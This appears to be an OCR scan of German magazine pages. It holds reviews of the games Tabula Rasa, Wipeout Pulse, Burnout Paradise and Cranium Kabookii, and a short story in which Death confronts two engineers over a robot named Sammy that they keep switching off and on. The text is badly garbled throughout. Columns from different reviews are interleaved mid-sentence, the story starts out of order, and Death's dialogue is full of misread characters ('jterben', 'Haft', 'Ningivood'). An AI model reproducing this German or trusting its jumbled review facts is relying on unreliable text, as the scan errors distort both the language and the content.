gen Kampf gegen 
die Bane führen. 
Die Spieler neh- 
men in diesem Kampf 
besondere Funktionen 
wahr. Sie allein können den 
„Logos” kanalisieren - als Ener- 
gieform, die ihnen außerge- 
wöhnliche Fähigkeiten verleiht. 
Je nach Ausrichtung kann man 
sich damit unsichtbar machen, 
Blitze werfen oder sich und an- 
dere heilen. Der Logos ist zu- 
gleich auch eine Sprache, die 
von einer außerirdischen Zivili- 
sation, den Eloh, genutzt wurde. 
Welchen Karriereweg ein 
Spieler einschlägt, muss er nicht 
sofort entscheiden: Ob seine 
Figur später schwere Geschütze 
bedienen wird oder lieber ein 
Kampfteam mit Zielverstärkern 
und Schutzschilden unterstützt, 
stellt sich im Verlauf des Spiels 
heraus, wenn sie sich immer 
stärker spezialisiert. 
Einzelkämpfer werden an 
„Tabula Rasa“ nur wenig Freude 
haben. Die große Zahl der Geg- 
ner sorgt bei vielen Einsätzen 
für einen schnellen, einsamen 
Tod. Wer jedoch in der Gruppe 


hunderts zum 
20. zu begehen 
und sich in aller 
Ruhe im gründ- 
lichen Beobachten zu üben. Aller- 
dings sind nur bestimmte Berei- 
che zugänglich. Verschlossene 
Türen oder andere Hindernisse 
verhindern das ungehemmte 
Herumstromern. 

Die Vertonung ist gut gelun- 
gen; es macht Spaß, den Figuren 
zuzuhören. Leider gestaltet sich 
der Fortgang der Handlung bis- 
weilen allzu langsam und zäh. 
(Nico Nowarra/psz) 


Richard Garriott’s 


Tabula Rasa 


Vertrieb Flashpoint, www.rgtr.com 

Betriebssystem Windows XP, Vista 

Hardwareanf. 3000-MHz-PC oder Mehr- 
kernsystem, 2 GByte RAM, 
256-MByte-Grafik 

Kopierschutz Key-Registrierung 

Multiplayer serverabhängig 
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agiert, wird bald die taktischen 
Möglichkeiten des Spiels zu 
schätzen wissen. Die verschie- 
denen Spezialisierungen sind 
hervorragend aufeinander ab- 
gestimmt und erlauben es 
selbst kleinen Gruppen, rasch 
Erfolge zu erzielen. 

Wer sich für das Spiel regis- 
trieren will, benötigt eine gültige 
Kreditkarte oder eine Gamecard 
von NCSoft. Der Kaufpreis deckt 
eine Teilnahmezeit von 30 Tagen 
ab, danach fällt eine monatliche 
Gebühr von rund 13 Euro an. 

(Nico Nowarra/psz) 
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Techno-Gleiter 


Wipeout Pure war der auffälligste 
Launch-Titel der PSP. Zu schnel- 
len Techno-Stücken sauste man 
durch bunte Achterbahnkurse 
und nahm die Gegner mit Rake- 
ten aufs Korn. Zwei Jahre später 
hat man sich an derlei Grafikef- 
fekte bereits gewöhnt. Wipeout 
Pulse sieht im direkten Vergleich 
zwar schicker aus und glänzt mit 
neongrellen Texturen und noch 
bunteren Explosionen, aber der 
Mund klappt vor Staunen nicht 
mehr ganz so weit auf. Die Kurse 
sind noch kurviger als zuvor und 
drehen sich zuweilen kopfüber. 
Dadurch sind die Rennen noch 
etwas schwieriger geworden. 
Selbtt auf der leichtesten 
Schwierigkeitsstufe muss man 
für einen Sieg all sein fahreri- 
sches Können aufbieten. 

Die zwölf Kurse (jeder in zwei 
Richtungen befahrbar) wurden 
für die Solokampagne zu 236 
Rennwettbewerben zusammen- 
gestellt. In Zeitrennen oder im 
Zone-Modus studiert man bei 
wachsendem Tempo die Kurven 
ein. Neu hinzugekommen ist der 


Crash-Kurs 


Burnout ist nach Need for Speed 
die erfolgreichste Spaß-Renn- 
serie aus dem Hause Electronic 
Arts. Hier geht der Fuß nie vom 
Gaspedal, sondern man schaltet 
im Gegenteil immer wieder den 
Turbo hinzu, um vorausfahrende 
Fahrzeuge in den nächsten Be- 
tonpfeiler zu rammen. Das ge- 
lingt aber nur aus der Verfolger- 
perspektive des eigenen Wa- 
gens. Mit der Stoßstangensicht 


Burnout Paradise 


Vertrieb Electronic Arts 

System Playstation 3 (auch Xbox 360) 
Multiplayer 7 online 

Sprache deutsch 

USK-Freigabe ab 12 

Preis 65 € (ab 24.1.2008) 
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gelungene Eliminator-Modus, in 
dem derjenige gewinnt, der die 
meisten Gegner abschießt. Hier 
heißt es, möglichst das Feld von 
hinten aufzurollen. Als Online- 
Download sollen später vier 
Pakete mit neuen Tracks und 
Gleitern folgen. Bis man die an- 
spruchsvollen Kurse in den 
höchsten Geschwindigkeiten be- 
herrscht, dürften Wochen und 
Monate vergehen. Jedoch wirkt 
Wipeout nie unfair und motiviert 
den Spieler durch einen geschickt 
ansteigenden Schwierigkeitsgrad. 

Die Techno-Stücke klingen 
nicht mehr ganz so aufgekratzt, 
sondern treiben in einem gefälli- 
gen Groove. Wer will, kann auch 
eigene MP3s einbinden. Neben 
dem bisherigen WiFi-Modus kön- 
nen bis zu acht Spieler auch on- 


hat man kaum eine Chance, die 
Gegner richtig abzupassen, 
zumal ein Rückspiegel fehlt. Im 
Unterschied zum lahmen Need 
for Speed ProStreet ist hier das 
Tempo fast zu viel des Guten. 

In Paradise kann man erstmals 
in der Serie frei durch eine son- 
nendurchflutete Stadt heizen. 
Diese wurde zwar mittels HDR- 
Rendering und Glüheffekten 
recht stimmungsvoll in Szene 
gesetzt, allerdings ist keine Men- 
schenseele weit und breit zu 
sehen - weder auf den Bürger- 
steigen noch am Steuer der 
Autos. An vielen Kreuzungen 
warten Rennen auf den Spieler, 
bei denen er entweder als erster 
am Ziel ankommen, möglichst 
viele Gegner rammen oder be- 
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“ 


line gegeneinander antreten. 
Wipeout Pulse ist mit Abstand 
das schickste und schnellste 
Rennspiel auf der PSP und fährt 
auch vom Umfang her ganz 
vorne mit. Hier wurde deutlich 
mehr verbessert als beim Ridge 
Racer, dessen zweiter Teil sich 
kaum vom ersten unterscheidet. 
Anfänger gleiten in dem nur halb 
so teuren Vorgänger Wipeout 
Pure allerdings etwas leichter um 
die Kurven. (hag) 


Wipeout Pulse 


Vertrieb Sony Computer Entertainment 
System PSP 

Multiplayer 8 WiFi, 8 online 

Sprache deutsch 

USK-Freigabe ab 12 

Preis € 


sonders viel Sachschaden an- 
richten muss. 

Burnouts größtes Manko ist 
die absolute Sinnfreiheit der 
Crashs. Wenn alle paar Sekun- 
den eine langsame Kamerafahrt 
einen angeblichen „Totalscha- 
den“ dokumentiert, man aber 
trotzdem munter weiterfahren 
kann als wäre nichts geschehen, 
dann verpufft die Freude über all 
die zertrümmerten Muskel- 
Autos recht schnell. Auch die 
Tausende von Dollar, die der 
Blechschaden angeblich kosten 
soll, haben keine Relevanz. Nach 
kurzer Zeit stehen alle umge- 
pflügten Straßenlaternen wieder 
an ihrem Platz. Nie lässt sich 
auch nur ein Verkehrspolizist bli- 
cken. Was hätte man hier für 
tolle Verfolgungsjagden mit 
Blaulicht veranstalten können. 

Wer jedoch Nonsens-Rennen 
mit völlig übertriebenen Blech- 
schäden liebt, bei denen man 
aufgrund der simplen Strecken- 
führung selbst im Vollrausch 
noch spielend als Erster über 
die Ziellinie fährt, der kann hier 
eine Zeit lang seinen Spaß 
haben. (hag) 


Spiele | Konsolen 


Montagsmaler 


Ubisofts Chef Yves Guillemot 
kündigte vor Kurzem an, man 
werde bald Spiele mit „Nintendo- 
gleicher Qualität” herstellen. Bis 
dahin ist es aber noch ein weiter 
Weg. Wer beispielsweise Ubisofts 
Party-Spiel Cranium Kabookii 
kauft, erfährt nirgends auf der 
Verpackung, dass man für das 
Spiel mindestens vier Spieler be- 
nötigt, die in zwei bis vier Grup- 
pen aufgeteilt werden. Alleine, 
zu zweit oder zu dritt kann man 
mit dem Spiel nichts anfangen. 
Hat man genügend Mitspieler 
gefunden, stehen 15 langweilige 
Mini-Spiele in vier Kategorien zur 
Wahl. Entweder muss man Be- 
griffe malen, die die anderen 
Gruppenmitglieder raten, Fragen 
beantworten, Kinderlieder vor- 
spielen oder Bewegungen mit 
der Wiimote vollführen. Dabei er- 
sticken jedoch gravierende tech- 
nische Mängel jede Party-Stim- 
mung im Keim. So registriert das 
Spiel auf kaum eine Bewegung 


richtig, egal wie gut man mit der 
Fernbedienung hämmert, rührt 
oder streicht. Die Lösungsvor- 
gaben soll man mit einer roten 
Folienbrille lesen, diese sind auf 
dem Bildschirm aber kaum zu 
entziffern. Auch die Skizzen für 
die Ratebegriffe lassen sich nicht 
mit der nötigen Genauigkeit mit 
der Fernbedienung zeichnen. 
Zudem lässt die grafische Gestal- 
tung und die Auswahl der Fragen 
zu wünschen übrig - ein echter 
Party-Killer. Da müssen die Ent- 
wickler noch viel lernen, bis ihre 
Spiele an „Big Brain Academy”, 
„WarioWare: Smooth Moves” 
oder „Mario Party 8" heran- 


reichen. (hag) 
Cranium Kabookii 
Vertrieb Ubisoft 
System Wii 
Multiplayer ab4Personen am selben Gerät 
Sprache deutsch 
USK-Freigabe ohne Altersbeschränkung 


Preis 45€ 


189 


. Veröffentlichung und Vervielfältigung nur mit Genehmigung des Heise Zeitschriften Verlags. 


chen und Punkten vor Sammy auf den 

Tisch. Dann das zweite Bild aus wirren 
Strichen und Punkten, gemeinerweise auf 
dem Kopf. 

„Sammy, bitte verknüpfe die beiden Bilder, 
die ich dir eben gezeigt habe, zu einem Bild.” 

„Die Abbildung zeigt ein Einfamilienhaus.“ 

„Gut, Sammy, wie viele Möglichkeiten hast 
du getestet?” 

„720. 

Lester seufzte. „Immer noch kein effizien- 
tes Verhalten, mein Junge. Du kannst doch 
nicht jede Drehung um ein halbes Grad 
überprüfen. Das zweite Bild stand nur auf 
dem Kopf. Zwei Überprüfungen, jeweils um 
90 Grad gedreht, hätten gereicht.” 

„Ich habe die Aufgabe nicht korrekt aus- 
geführt?” Sammys Stimme klang einen Tick 
zu sehr betroffen. Ein weiterer Änderungs- 
punkt auf der Liste. 

„Du hast die Aufgabe zu korrekt ausge- 
führt. Das eben war nur eine Schwarzweiß- 
Zeichnung, in zwei Teilbilder aufgesplittet. 
Die Welt ist komplexer, es geht um Effizienz, 
verstehst du? Effizienz bedeutet, zuerst die 
wahrscheinlichsten Möglichkeiten zu über- 
prüfen. Machen wir weiter.” 

Lester griff nach dem nächsten Aufgaben- 
blatt auf seinem Stapel. Ach je, der Wolf, die 
Ziege und der Kohlkopf sollen über den 
Fluss. Nein, darauf hatte er jetzt keine Lust. 
„Machen wir morgen weiter, Sammy.“ Erhob 
die Hand an den Nacken des Roboters und 
schaltete ihn ab. Die Augen verloren ein 
wenig ihr Leuchten. Für seinen Geschmack 
zu wenig, um den Kunden den Unterschied 
zwischen ausgeschaltet und angeschaltet zu 
verdeutlichen. Noch ein Punkt auf seiner 
Prüfliste für die Entwicklungsabteilung. Les- 
ter sah auf seine Armbanduhr. Oh, das wäre 
aber ein bisschen arg früh, um den heutigen 
Arbeitstag zu beenden. Da würde er einige 
merkwürdige Blicke beim Hinausgehen ern- 
ten. Lester schaltete Sammy wieder an. 

„selbsttest erfolgreich. Was wünschen 
Sie?" 


| ester legte das erste Bild aus wirren Stri- 
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„Also, Sammy. Ein Mann mit einem Wolf, 
einer Ziege und einem ...” Nein. Er wollte 
nicht mehr. Nicht heute. Stopp. Er schaltete 
Sammy wieder aus. Feierabend. Überstunden 
gab es genug. Und mal ein paar Stunden ech- 
tes Tageslicht erleben hatte er sich verdient. 

Er schaute wieder auf die Uhr. Anderer- 
seits ... also es machte schon einen blöden 
Eindruck. Die Entwickler hatten sicher noch 
mehr Überstunden als er. Besonders Ring- 
wood, der seinen Arbeitsplatz direkt vor der 
Tür des Testlabors hatte. Dessen stechenden 
Blick wollte Lester nicht unbedingt im Rü- 
cken spüren. 

Noch einmal durchbeißen durch diese 
Uralt-Aufgabe mit fünf Meter langem Bart. 
Vielleicht bekam er ja von Sammy die überra- 
schende Antwort, dass der Kohlkopf im 
Gegensatz zum Wolf oder der Ziege sehr 
wenig wog und der Mann ihn sich lässig 
unter den Arm klemmen könnte. Das wäre 
mal ein Zeichen von echter Intelligenz. 

Er schaltete Sammy wieder ein. 

‚setzt veicht es!“, donnerte eine Stimme 
hinter ihm. 

Lester fuhr herum. Schwarzes Gewand. Ein 
blanker Schädel unter der Kapuze. Er starrte 
die Erscheinung an, blinzelte. Die Gestalt 
blieb stehen. Eine Halluzination. Geistes- 
krank. Wurde man das bei zu wenig Tages- 
licht? Da hatte es doch eine Untersuchung 
bei den Finnen gegeben. Winterdepression 
oder etwas in der Art. 

„Genug gejtarrt?* 

Lester räusperte sich. „Sammy, bitte schau 
mal nach links und sag mir, ob du ein neues 
Objekt im Raum siehst.“ 

„Das neue Objekt steht zwei Meter von 
Ihnen entfernt. Seine Höhe beträgt 1,87 
Meter. Seine Oberfläche besteht aus schwar- 
zem Stoff. Im oberen Bereich -" 

„Genug”, keuchte Lester. Das hatte er jetzt 
nicht hören wollen. 

Die Gestalt legte den Kopf schräg. 
„Sammy, Vergleiche mein Erjcheinungsbild 
mit Deiner Datenbank. Wem entjpreche 
ich?“ 


„Zu 90 Prozent entspricht Ihr Aussehen 
der Darstellung des Todes. Das zusätzliche 
wichtige Bildelement der Sense fehlt.” 

„sa, ja, ja, jehon gut. Haft du Angjt vor 
dem Tod, Sammy?“ 

„Nein.“ 

„Nein. Natürlich nicht. Denn du Haft 
ihn ja Schon oft genug erlebt, nicht wahr? 
Sterben, wieder da jein, jterben, wieder 
da fein. Ausschalten, anjchalten, ausjchal- 
ten, anjchalten.* 

Der Tod trat auf Lester zu. „LXester Con- 
nally, haft du eine Ahnung, wie viele See- 
fen es gibt? Haft du eine Ahnumg, wie an- 
ftrengend es ift, in Diefem Meer anf Billio- 
nen Seelen immer wieder exakt die Gleiche 
zu finden? Und das im Schundentakt!* 

Lester zuckte bei dem letzten gebrüllten 
Wort zusammen. „Aber -" 

Mit einer herrischen Geste schnitt ihm der 
Knochenmann das Wort ab. „Weifjt dur, es 
macht mir nichts aus, dafs enre Medizin jo 
weit fortgejchritten ift und ihr ab und zu 
Tote wieder zum Leben erweckt. Das 
pafjiert eben in Ausnahmefällen. Aber 
was du hier abziehjt, und ...“, er lachte 
mit einem hysterischen Unterton, „... Was 
pafjiert, wenn Sammy in Serie geht und 
Zehntanjende, Hunderttanfende anjchalten, 
ausschalten, anjchalten, ansjchalten, das 
+. Der Tod beugte sich zu Lester herunter. 
Seine Stimme klang mit einem Mal dumpf 
und dunkel wie aus einer tiefen Grotte. y... 
werde ich zu verhindern wifjen.* 

Hinter den Augenhöhlen sah Lester nur 
finstere Leere. „Sammy hat doch keine Seele. 
Das ist absurd.“ 

„Mein Junge“, der Knochenmann legte 
ihm links und rechts die Skeletthände auf die 
Schulter. „Kennjt du dich mit Seelen aus 
oder ich? In ihm flieht eigenjtändige, fich 
jelbjt organifierende Energie.“ 

„Aber wir haben Sammy gebaut. Ich 
meine, er ist von Menschen gebaut.” 

„Aha. Und du meinst, wenn Du zu Deiner 
Frenndin ins Bett jteigjt und fie bekommt 
neun Monate jpäter ein Kind, Dajs du da 
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gar nichts mit zu tun Haft? Dajs das viel- 
leicht ein großer Vogel mit jchiwarz-Wei- 
em Gefieder und langem roten Schnabel 
war? Ja, meinjt Du Das?“ 

Irgendwie empfand Lester diese Frage als 
peinlich. Selbst wenn der Tod sie stellte. 

Die Skeletthände drückten fester zu. 
„Lester Connally, es ift ganz einfach. Sch 
habe Keine Luft, in tanfendfacher Wieder- 
holung Hinter Seelen herzuhetzen, deren 
Körper plötzlich wieder funktionieren. Ich 
ändere nur äuferjt jelten die Neihenfolge 
meiner Liste, aber in jeltenen Ansnahme- 
fällen“, ein eisiger Knochenfinger strich Les- 
ters Wange hinab zum Hals, „tue ich das. 
Du, mein Lieber, jorgft dafür, dafs Sammy 
niemals in Serie geht, und dafür darfit du 
weiterleben. Haben wir uns verjtanden?* 

Lesters ‚Ja’ hörte sich eher wie das letzte 
Ächzen eines Gehängten an, aber der Tod 
schien zufrieden, ging einen Schritt rück- 
wärts und verschwand. Lester starrte auf die 
Leere in der Luft. 

„S... Sammy. Alles, was du in den letzten 
drei Minuten aufgezeichnet hast, dem gibst 
du den Status hohe Priorität und Schreib- 
schutz.” 

„Befehl ausgeführt.” 

Und was, wenn Sammy gar nichts aufge- 
zeichnet hatte? Lester kramte das Wenige 
aus seinem Gedächtnis, was er über Halluzi- 
nationen wusste. Akustische Sinnestäu- 
schungen gehörten auch dazu. Was, wenn 
Sammy gar nichts gesagt hatte? Wenn Les- 
ter sich das nur eingebildet hatte? Er brauch- 
te Hilfe, Bestätigung. Er stand von seinem 
Stuhl auf. Seine Knie fühlten sich so wacklig 
an, er musste sich an der Lehne festhalten. 

Wen konnte er fragen? 

Ringwood. Kein Quäntchen Phantasie, 
null Humor. Er war perfekt. Lester würde 
Ringwood bitten, sich den Speicher von 
Sammy anzusehen. 

Er tappte zur Tür, öffnete sie. Er sollte sich 
zusammenreißen und nicht wie ein ver- 
schreckter Schuljunge aussehen, aber ent- 
weder hatte sich gerade seine geistige Ge- 
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sundheit verabschiedet oder ... Ein fast so 
hysterisches Lachen wie das des personifi- 
zierten Todes wollte sich durch seine Kehle 
drängen. Nein, nein, nein, nein. Beweise. Er 
brauchte Beweise. Aber Moment mal. Wenn 
er meinte, sich Sammys Reden nur eingebil- 
det zu haben, konnte er sich dann bei Ring- 
wood sicher sein? Er konnte sich jetzt alles 
einbilden, absolut alles. 

„Hey, Connally, haben Sie etwas Falsches 
gegessen, oder was ist los?” 

Ringwood. Mit seinem stechenden Blick. 

„Connally, Sie sehen totenbleich aus. Ich 
hoffe, das beeinträchtigt nicht Ihre Arbeit mit 
Sammy?“ 

„Erhat, er...” 

Misstrauen flackerte in Ringwoods Augen 
auf und er erhob sich von seinem Stuhl. 
„Was?" 

„Könnten Sie sich die letzten Aufzeichnun- 
gen ansehen?“ 

„Was ist los?“ 

„Ich möchte Ihnen lieber nicht meine Mei- 
nung aufdrängen, damit Sie unbeeinflusst 
bleiben.“ 

Ringwoods Lippen pressten sich zu einer 
schmalen Linie zusammen. Er rauschte an 
Lester vorbei durch die Tür. So jemand wie 
Ringwood ließ sich garantiert nicht ins Box- 
horn jagen, da war Lester sich sicher. 

Immer noch wacklig auf den Beinen schloss 
er die Tür und hielt sich für einen Moment an 
der Klinke fest. Ringwood hatte schon das 
Kabel an Sammy angeschlossen und die 
Wiedergabe der Aufzeichnungen über die Mo- 
nitore und Lautsprecher gestartet. 

setzt reicht es!“, donnerte es aus den 
Lautsprechern. Einige Sekunden Stille. 
„Genug geitarrt?* 

Dann hörte Lester seine eigene Stimme. 
Es reichte ihm, die Stimmen zu hören, er 
konnte nicht auf den Bildschirm sehen. Lang- 
sam wankte er zu seinem Stuhl, setzte sich 
zusammengekrümmt hin. 

Erst nach einer Weile registrierte er die Stil- 
le. Er sah hoch. Ringwood starrte ihn an, das 
Misstrauen noch tiefer ins Gesicht gegraben. 


Lester zuckte hilflos die Achseln. „Ich 
dachte, ich hätte Halluzinationen, Wahnvor- 
stellungen.“ 

Ringwood trat zu Sammy, schaltete ihn 
aus, an, au- 

Eine Knochenhand riss Ringwoods Arm 
von Sammy weg. Lester wurde Zeuge eines 
Duells der Giganten. Auf der einen Seite der 
skeptischste Ingenieur, den er je getroffen 
hatte. Auf der anderen Seite der Tod, wie er 
im Buche stand. Sie starrten sich an. Besser 
gesagt, Ringwood starrte. Die Knochenfinger 
umklammerten immer noch seinen Arm. 
Ringwood atmete tief ein, hob die andere 
Hand und schob dem Tod die Kapuze vom 
kahlen Schädel. 

„Weißt du was, unglänbiger Thomas“, 
sagte der Tod, „ich denke, ich zeige dir ein 
wenig vom enjeits.* 

Im nächsten Moment verschwanden sie. 

Perplex starrte Lester auf die leere Stelle. 
Er hatte an- und ausschaltbare Halluzinatio- 
nen. Er musste zu einem Psychiater. Kaum 
wollte er sich erheben, standen die beiden 
wieder vor ihm. 

Ringwood wich kalkbleich einen Schritt 
vor dem Tod zurück, starrte dann Lester 
an. 

„Ihr seid beide eine Halluzination. Vermut- 
lich bin ich auch überhaupt nicht hier. Ich bin 
in einer Wahnvorstellung gefangen.” 

Der Tod verschränkte die Arme. „Nein, 
ich bin jo wirklich wie der Tag und die 
Nacht und die Sonne, * 

Ringwood kicherte und schüttelte den 
Kopf. „Das hätte der echte Tod nie gesagt.“ 

„Wie bitte?“ 

„Tag und Nacht sind keine festen Wirklich- 
keiten, sie sind nur erzeugter Schatten. Drau- 
ßen in einem Space Shuttle gibt es keinen 
Tag und keine Nacht. Das sind nur temporäre 
Erscheinungen durch die Drehung der Erde 
um ihre Achse und dem daraus folgenden 
Schattenverlauf.“ 

„Ach“, sagte Lester, „klingt interessant. Ich 
hätte nicht gedacht, dass eine Halluzination 
so interessante Ansichten hat.“ 
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„Ich bin nicht Ihre Halluzination. Sie sind 
meine Wahnvorstellung.“ 

„Nein. Da bin ich mir absolut sicher, Ring- 
wood. Ich habe Sie mir aus den Windungen 
meines Gehirns herbeihalluziniert, weil Sie 
einen komplett phantasielosen analytischen 
Verstand besitzen. Damit Sie mir erklären, 
warum das hier nicht der Tod ist.” 

„Hört ihr beide jetzt damit auf!“ 

Der Tod konnte wirklich laut sein. 

Da fiel Lester ein: „Ha! Ein Beweis. Dieses 
Brüllen hätte draußen gehört werden müs- 
sen. Da hier jetzt keiner hereingestürzt 
kommt, ist es gar nicht geschehen.“ 

Die Stimme des Knochenmanns glich 
einem kalten Zischen. „sch kann jelbjtver- 
ftändlich bejtimmen, wer mich hört und wer 
mich nicht Hört, ihr ignoranten Amöben.* 

„Wie soll das denn gehen?", fragte Ring- 
wood. 

„Was?* 

„Nun, Schall wird durch Schallwellen über- 
tragen. Sie müssten ja dann alle Schallwellen, 
die nicht zu unseren Ohren gelangen, stop- 
pen, bevor sie sich weiter in der Luft fortbe- 
wegen. Das geht überhaupt nicht. Sowieso, 
Sie haben überhaupt nichts, um Schallwellen 
zu produzieren.” 

Lester nickte eifrig. „Das habe ich mir am 
Anfang auch gedacht.” 

„sch rede doch nicht über Schallwellen 
mit ench, ihr Miückengehirne in Aspik! Sch 
bin Direkt in euren Köpfen!“ 

Ringwood hob den Zeigefinger wie ein 
Oberlehrer. „Aha! Erwischt. Und wieso, bitte 
schön, sind Sie dann auf den Aufzeichnun- 
gen von Sammy?” 

„Weil ich es jo wollte! Sch beftinmte, 
wer oder was mich in welcher Form auch 
immer ficht. Und weil Sammy eine Seele 
hat, ift es ihm erlaubt, mich zu jehen. Be- 
greift ihr Das endlich? Nur befeelte Dinge 
können mich wahrnehmen!“ 

Ringwood brauchte nur zwei Sekunden, 
um auf diesen vollkommenen Blödsinn ein 
Gegenargument zu finden. „Sie sind aber 
jetzt bei Sammy nur eine Aufzeichnung wie 
die einer Videokamera, nur eine Videodatei 
mit Audiospuren. Rein physikalisch.“ 

„Und bei euch it die Aufzeichnung 
nur nen jtrukturierte Proteinketten und 
Synapjenverjchaltungen. Auch rein phyfi- 
kalifch.* 

Ringwood atmete tief ein. „Es existiert 
nicht der geringste Beweis, dass so etwas wie 
eine Seele überhaupt existiert.“ 

Perfekt. Nicht drum herumreden, sondern 
direkt das Kernargument entkräften. Jetzt 
konnte der Tod nicht anders, als zu einem 
kleinen Aschehäufchen zusammenzu- 
schrumpfen. 

Der Tod seinerseits atmete auch tief ein - 
als ob er Lungen hätte - und stemmte die 
Knochenhände in die Hüften. „Wollen Sie 
mir den Energieerhaltungsjatz erläutern, 
Mr. Ringivood?* 

Das war eine Falle. So wie der Tod das 
sagte, musste es auf eine Falle zulaufen, aber 
genauso wenig wie Lester konnte Ringwood 
widerstehen. 
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„Energie kann weder entstehen noch ver- 
schwinden. Die Energiesumme ist in einem 
abgeschlossenen System, dem also weder 
Energie zugeführt noch entzogen wird, kon- 
stant.” 

„Aha. Schr jehön, Mr. Ningivood. 
Würden Sie fich jelbjt in diefer Sckunde 
als eine Kombination von Materie und 
Energie betrachten? Sie zögern, Mir. 
NRingiwood? Aber ich gehe trotzdem davon 
aus, Ddajs Sie von jich als lebende Perfon 
denken. Ufo ein Ja, Nächite Frage: Wir- 
den Sie eine Leiche auch als Kombination 
von Materie nnd Energie bezeichnen? 
Nein? Keine elektrifche Aktivität mehr in 
den Synapjen? Sich mal einer an. Sie 
haben aljo ein System, das zuerjt anf Ma- 
terie und Energie bejtcht. Nach einen ge- 
wifjen Ereignis, das mich auf den Plan 
ruft, ijt Diejes System nur noch Materie. 
Wohin it die Energie verjchtunnden? Hat 
fie jich in nichts anfgelöft? Sp ein dummer, 
dummer Energieerhaltungsjatz aber auch. 
sch gratuliere Ihnen, Mr. Ringiwood, Sie 
haben gerade den phyjikaliichen Beweis er- 
bracht, Dajs eine Seele existiert.“ 

Ringwood sah Lester an. Lester sah Ring- 
wood an. Was für eine grässliche Argumen- 
tationskette. Da leuchteten Ringwoods 
Augen auf. „Energie kann sich auffächern! 
Sich verteilen!“ 

„Das ift richtig. Sch kann Ihnen ver- 
fichern, wenn Sie Ihren Toaster einjchal- 
ten und wieder ausjchalten, Hat jich keine 
Seele entwickelt. Energie kann jich aber 
auch janmeln, kann zujfanmmenhalten. Shre 
Sonne füchert jich ja auch nicht anf.* 

„Das liegt daran, dass ihre eigene Schwer- 
kraft sie zusammenhält.” 

„eh! Sie erfrenen mich, Mr. NRingivood. 
Gilt die Schwerkraft nur für Objekte mit 
einem Durchmefjer von 1,4 Millionen Kilo- 
metern? Nein? Sie gilt auch für die Erde, 
den Mond, nicht wahr? Selbjt für noch 
kleinere Gejteinsbrocken. Und dann die 
weiteren Anziehungskräfte, das geht bis 
ins Winzigkleine, bis auf Atonmgröße. Die 
Kraft, die das Elektron anf der Bahn mm 
den Atomkern Hält. Und der Atonkern 
felbjt. Die Kräfte innerhalb eines Atom- 
kerns. Diefe wunderbare Energie im 
Mittelpunkt, Die alles zujanmenhält. Oh, 
nicht böje gucken, Mr. Ringiwood. Aber 
Sie wien felbjt, dafs Energie im Weltall 
nicht gleich verteilt ift, ebenjo wenig anf 
der Erde, ebenjo wenig in Ihnen. Sie it 
konzentriert, und ziwar nicht in Shrem qro- 
ben Zeh — Kleiner Scherz, Mr. Ningivood — 
Sie wilfen, wo Ihre Energie jich konzen- 
triert. Und Sie wiljen, Dajs Energie kon- 
zentriert bleiben kann. Und bei Ihrer Er- 
fahrung mit den Energien im Weltall, wie 
wahrjcheinlich ift es, dafs fich Energie 
komplett anffüchert oder dajs fie konzen- 
triert bleibt? Hm? Jede Seele eine Kleine 
Sonne, Die durch ihre in ihr jelbjt wirken- 
den Kräfte zufammengehalten wird? Kräfte, 
wie jie in vergleichbarer winziger Art auch 
in einem Atom wirken und es zujanmmen- 
halten?“ 


Der Tod wies auf Sammy. „Sie haben hier 
eine Anfammlung hinreichend komplexer 
Energie entwickelt. Und wenn er jtirbt und 
wiederbelebt wird, ift es meine Pflicht, 
feine Seele wieder zurückzubringen. * 

Lester sah zu dem Roboter, der stumm 
und reglos am Tisch saß, als würde ihn das 
alles gar nichts angehen. Oder wartete er im 
Gegenteil angespannt auf den Ausgang des 
Disputs? Die merkwürdige Vorstellung einer 
Seele in diesem Körper aus Metall und Kunst- 
stoff eröffnete ganz neue Interpretations- 
spielräume. 

Ringwood gab noch nicht auf. „Soll das 
heißen, man kann Seelen neu erschaffen? 
Die es vorher nicht gab?” 

„Selbjtverftändlich. Sch kann Ihnen 
verjichern, als in den Meeren nur ein paar 
Einzeller hHerumfjchwappten, Hatte ich eine 
ziemlich langweilige Zeit. Da Sie fich jetzt 
felbft den phyfikalichen Beweis einer Seele 
gegeben haben — mit ein bifjchen Unterftüt- 
zung meinerjeits —, können Sie ficher ver- 
Stehen, dafs ich Zehntaufende an-anj-an-ge- 
fchaltete Sammys nicht akzeptieren werde. 
Und - wie ich Mr. Eonnally jchon gejagt 
habe - dafür auch bereit bin, drastifchere 
Mittel anzuwenden als nur ein Gejpräch.* 

„sammy ist das Resultat von Jahrzehnten 
Entwicklung und Forschung. Das lässt sich 
nicht mehr ändern. Niemand kann den Fort- 
schritt aufhalten.“ 

„Sie jollten ihn aber aufhalten, denn ... 
Sie zweifeln an meinen Worten? Dajs ich 
es wirklich ernjt meine?“ Die Stimme des 
Todes klang ein paar Grade dunkler. „Da 
Sammy vorhin die Senje erwähnt hat ...* 
Die Luft schien zu klirrender Kälte zu gefrie- 
ren. Der Tod griff mit seiner Knochenhand 
neben sich und aus eiskalter Dunkelheit ma- 
terialisierte sich eine mehr als mannshohe 
Sense mit einem schartig schwarzen Sensen- 
blatt. Er drehte sie langsam, bis die Spitze der 
Klinge auf Ringwood zeigte. Der Ingenieur 
wich bleich einen Schritt zurück. Der Tod 
schnippte mit dem Finger und Ringwoods 
Füße verharrten wie festgewachsen. 

Lester wurde Zeuge des ältesten Alp- 
traums der Menschen, nicht weglaufen zu 
können. Langsam näherte sich die Sensen- 
spitze Ringwoods Brust. 

„Das hier ift die letzte Warnung“, zisch- 
te der Tod. 

Die Sense drang in Ringwoods Körper. Für 
einen Moment meinte auch Lester die To- 
deskälte zu spüren, schien sein eigenes Herz 
einen Schlag auszusetzen. 

Der Tod zog die Sense wieder zurück. Und 
verschwand. 

Ringwood keuchte auf, wankte. Lester 
stürzte zu ihm, packte seinen Arm, half ihm 
zum nächsten Stuhl. Den Ingenieur zu be- 
rühren, den Schweiß auf seiner totenblassen 
Stirn zu sehen, seinen gepressten Atem zu 
hören wirkte alles entsetzlich real. 

Lester musste sich eingestehen, dass ihn 
seine wunderbare Vorstellung einer Gesamt- 
halluzination irgendwann während der Dis- 
kussion leise auf Filzpantoffeln verlassen 
hatte. 
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„sammy, tu doch auch mal was!” 

Der Roboter drehte sich zu ihnen herum. 
„Bitte spezifizieren Sie die Handlung, die ich 
ausführen soll.“ 

Ringwood winkte ab. „Schon gut, schon 
gut. Du brauchst nichts zu tun.” Er fasste sich 
an die Brust, holte tief Luft. „Das ist allein un- 
sere Sache.” 

„Er meint es wirklich ernst mit seinen dras- 
tischen Mitteln”, sagte Lester. 

„Ja. Eindeutig.“ 

